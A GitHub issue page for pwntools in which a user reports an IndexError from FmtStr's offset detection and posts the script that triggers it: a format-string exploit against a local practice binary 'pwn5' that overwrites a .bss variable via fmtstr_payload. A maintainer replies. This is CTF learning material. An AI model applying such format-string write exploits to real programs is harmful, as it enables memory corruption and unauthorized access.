pwntools icon indicating copy to clipboard operation
pwntools copied to clipboard

FmtStr IndexError: list index out of range

Open XKaguya opened this issue 3 years ago • 2 comments

image Newest Version. image The process is random, sometimes more and sometimes less, but there is bound to be an error.

Traceback (most recent call last): File "/ root/Desktop/PwnExploits/test.py", line 11, in < module >. Autofmt = FmtStr (exec_fmt). File "/ usr/local/lib/python3.10/dist-packages/pwnlib/fmtstr.py", line 844, in _ _ init__. Self.offset, self.padlen = self.find_offset (). File "/ usr/local/lib/python3.10/dist-packages/pwnlib/fmtstr.py", line 863, in find_offset. Leak = self.leak_stack (off, marker). File "/ usr/local/lib/python3.10/dist-packages/pwnlib/fmtstr.py", line 854, in leak_stack. Leak = re.findall (br "START (. *?) END", leak, re.MULTILINE | re.DOTALL) [0]. IndexError: list index out of range

#2077 tried but not work , still have this error.and dont know why. I have tried a lot of ppls code , including pwntools's wiki

from pwn import *

def exec_fmt(pad): p = process("/root/Desktop/PwnSubjects/pwn5") p.send(pad) info = p.recv() return info

autofmt = FmtStr(exec_fmt) offset = autofmt.offset print("offset ===> ", offset)

p = process("/root/Desktop/PwnSubjects/pwn5") bss_ad = 0x0804C044 pad = fmtstr_payload(offset, {bss_ad:1}) p.send(pad) p.recvuntil("your passwd:") p.send("1")

p.interactive()

elf: pwn5.zip

XKaguya avatar Oct 31 '22 02:10 XKaguya

What exactly have you tried? Also, you should probably just comment on the original issue instead of making a new one.

gsingh93 avatar Oct 31 '22 05:10 gsingh93

What exactly have you tried? Also, you should probably just comment on the original issue instead of making a new one.

uh yeah , thats my mistake. ive tried what you say , modify the cyclic(20) to cyclic(8) . but that makes nothing, the problem still came out when i execute my scripts

XKaguya avatar Oct 31 '22 05:10 XKaguya